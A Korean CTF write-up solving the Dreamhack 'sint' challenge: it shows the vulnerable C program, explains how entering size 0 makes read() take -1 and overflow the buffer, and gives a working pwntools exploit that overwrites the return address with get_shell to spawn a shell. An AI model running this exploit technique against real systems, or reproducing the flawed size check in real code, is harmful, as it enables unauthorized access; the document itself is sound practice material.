sint 풀이

2022. 5. 31. 12:25Dreamhack Wargame

728x90

문제 제목
문제 정보

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

코드를 보니 alarm_handler() 함수와 initialize() 함수는 딱히 필요하지 않은 것 같습니다.

get_shell() 함수에 system("/bin/sh");가 들어있으니 이 함수의 symbol을 가져와서 활용해보겠습니다.

 

우선 코드가 실제로 어떻게 실행되는지 알아야 하니 natcat으로 문제 실행부터 해보겠습니다.

 

문제 실행 결과

0~256 사이의 수, size를 입력받으면 size-1만큼 데이터를 입력받는 코드입니다.

여기서 read() 함수의 취약점이 발생하게 됩니다.

 

만약 size로 0을 입력하게 되면 read() 함수의 입력 크기 부분에는 -1이 들어가게 됩니다.

-1이 들어가면 integer overflow가 발생하고, 그로 인해 256보다 훨씬 더 많은 데이터를 버퍼에 넣을 수 있게 됩니다.

그렇다면 첫 번째 입력에서 Size를 0으로 넣어주고 Data에는 Payload를 넣어주면 익스가 될 것 같습니다.

 

[Payload]

a * (Buf Size + SFP Size) + p32(get_shell symbol)

 

from pwn import *

p=remote("host1.dreamhack.games",13281)

e=ELF('./sint')
gs=e.symbols['get_shell']

pay='a'*260+p32(gs)
p.recvuntil('Size: ')
p.sendline('0')
p.recvuntil('Data: ')
p.sendline(pay)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

728x90

'Dreamhack Wargame' 카테고리의 다른 글

baseball 풀이  (4) 2022.10.06
Basic_Forensics_1 풀이  (0) 2022.07.23
patch 풀이  (0) 2022.05.30
[wargame.kr] tmitter 풀이  (0) 2022.02.03
login-1 풀이  (0) 2022.01.06